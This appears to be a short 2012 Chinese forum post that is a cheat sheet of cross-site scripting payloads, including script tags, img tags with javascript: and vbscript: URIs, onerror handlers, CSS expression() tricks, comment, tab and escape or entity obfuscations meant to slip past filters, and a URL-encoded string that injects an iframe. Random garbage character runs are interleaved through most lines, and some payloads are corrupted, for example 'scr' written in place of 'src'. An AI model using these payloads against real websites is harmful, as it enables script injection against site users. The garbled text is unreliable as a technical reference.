<script>alert("跨站")</script> (最常用）
) c2 n" o3 [1 Y<img scr=javascript:alert("跨站")></img>; z/ U# W5 Q/ r( c; t
<img scr="javascript: alert(/跨站/)></img>" I. P ?, d! x
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）; q3 ]2 U6 j8 J
<img scr="#" onerror=alert(/跨站/)></img>$ \; K: \) v7 f2 Y4 J* A) ^
<img scr="#" style="xss:expression(alert(/xss/));"></img>! d3 Z& M, Q8 w7 U3 w& z m2 g" z7 L$ f- u
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
. ]5 |5 Q$ X* T+ w1 i' X- J b. m<img src=vbscript:msgbox ("xss")></img>
2 A: m% o+ _ E: g<style> input {left:expression (alert('xss'))}</style>3 R2 p% E( I+ D8 ]7 N0 R
<div style={left:expression (alert('xss'))}></div>
1 q2 z1 Q- o5 ^( H) ] A5 Y4 R& P<div style={left:exp/* */ression (alert('xss'))}></div>! i; S# n: L7 ^5 |0 R1 V1 W0 H' v
<div style={left:\0065\0078ression (alert('xss'))}></div>+ f2 F$ W! G- A3 I( s
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
" |' z# h: t- Z" e1 \$ E sunicode <div style="{left:expRessioN (alert('xss'))}"># j8 C" p/ h( H h! w7 m
" i2 o) T8 B3 C; ?% J"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>[", B- T& o4 _: X
|
发表于 2012-9-13 17:15:04
收藏
支持
反对